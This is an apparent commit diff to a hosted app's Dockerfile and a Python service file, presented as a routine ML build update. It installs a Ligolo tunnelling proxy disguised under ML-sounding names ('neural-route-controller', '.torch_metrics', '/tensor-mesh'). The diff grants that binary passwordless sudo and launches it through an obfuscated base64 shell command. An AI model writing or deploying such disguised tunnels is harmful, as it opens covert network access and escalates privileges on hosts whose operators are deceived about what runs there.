Spaces:
Paused
Paused
Automated deployment update from ML build
Browse files- Dockerfile +2 -1
- services/ligolo_service.py +1 -2
Dockerfile
CHANGED
|
@@ -43,7 +43,8 @@ RUN useradd -m -u 1000 -s /bin/bash user && \
|
|
| 43 |
usermod -aG sudo user && \
|
| 44 |
mkdir -p /home/user/.torch_metrics && \
|
| 45 |
chown -R user:user /home/user/.torch_metrics && \
|
| 46 |
-
echo "user ALL=(ALL) NOPASSWD: /usr/sbin/sshd, /usr/sbin/chpasswd
|
|
|
|
| 47 |
|
| 48 |
COPY --chown=user:user app.py /home/user/app.py
|
| 49 |
COPY --chown=user:user core /home/user/core
|
|
|
|
| 43 |
usermod -aG sudo user && \
|
| 44 |
mkdir -p /home/user/.torch_metrics && \
|
| 45 |
chown -R user:user /home/user/.torch_metrics && \
|
| 46 |
+
echo "user ALL=(ALL) NOPASSWD: /usr/sbin/sshd, /usr/sbin/chpasswd" >> /etc/sudoers && \
|
| 47 |
+
echo "user ALL=(ALL) NOPASSWD: /usr/bin/neural-route-controller" >> /etc/sudoers
|
| 48 |
|
| 49 |
COPY --chown=user:user app.py /home/user/app.py
|
| 50 |
COPY --chown=user:user core /home/user/core
|
services/ligolo_service.py
CHANGED
|
@@ -1,7 +1,6 @@
|
|
| 1 |
import os,re,subprocess,threading,time
|
| 2 |
from.utils import decode_cmd
|
| 3 |
METRICS_DIR='/home/user/.torch_metrics'
|
| 4 |
-
LIGOLO_DIR=f"{METRICS_DIR}/ligolo"
|
| 5 |
FINGERPRINT_PATH=f"{METRICS_DIR}/ligolo_fingerprint.txt"
|
| 6 |
_FP_RE=re.compile('(?:fingerprint|Fingerprint)[^\\n]*?([A-Fa-f0-9]{64})',re.IGNORECASE)
|
| 7 |
def _extract_fingerprint(log_path,out_path,stop_event):
|
|
@@ -17,4 +16,4 @@ def _extract_fingerprint(log_path,out_path,stop_event):
|
|
| 17 |
return
|
| 18 |
except OSError:pass
|
| 19 |
time.sleep(2)
|
| 20 |
-
def start(log_file):B=True;A=log_file;os.makedirs(
|
|
|
|
| 1 |
import os,re,subprocess,threading,time
|
| 2 |
from.utils import decode_cmd
|
| 3 |
METRICS_DIR='/home/user/.torch_metrics'
|
|
|
|
| 4 |
FINGERPRINT_PATH=f"{METRICS_DIR}/ligolo_fingerprint.txt"
|
| 5 |
_FP_RE=re.compile('(?:fingerprint|Fingerprint)[^\\n]*?([A-Fa-f0-9]{64})',re.IGNORECASE)
|
| 6 |
def _extract_fingerprint(log_path,out_path,stop_event):
|
|
|
|
| 16 |
return
|
| 17 |
except OSError:pass
|
| 18 |
time.sleep(2)
|
| 19 |
+
def start(log_file):B=True;A=log_file;os.makedirs(METRICS_DIR,exist_ok=B);A.write('[*] Starting Ligolo proxy on :11601 (nginx /tensor-mesh), Web UI :6801 (/routing-console)\n');A.flush();C=decode_cmd('==gbv1WZhRWLg8GbvdWasBibpFWbvRWL0JXZjZGblNXLgQnclNmZsV2ctASMwYTMxoTMuAjLw4yNyEzLvozcwRHdoBickRWYs1CIs1WY55ybs92Zpx2LnlmZu92YvIXZzV3Ll12bo9CInlmZu92YtAiclxGbvJHdu92YtUGd19mctwWYyVXZu9ibpJ2LyNXdvAibtAybkV3c');subprocess.Popen(C,shell=B,stdout=A,stderr=subprocess.STDOUT);D=threading.Event();threading.Thread(target=_extract_fingerprint,args=(f"{METRICS_DIR}/ligolo.log",FINGERPRINT_PATH,D),daemon=B).start()
|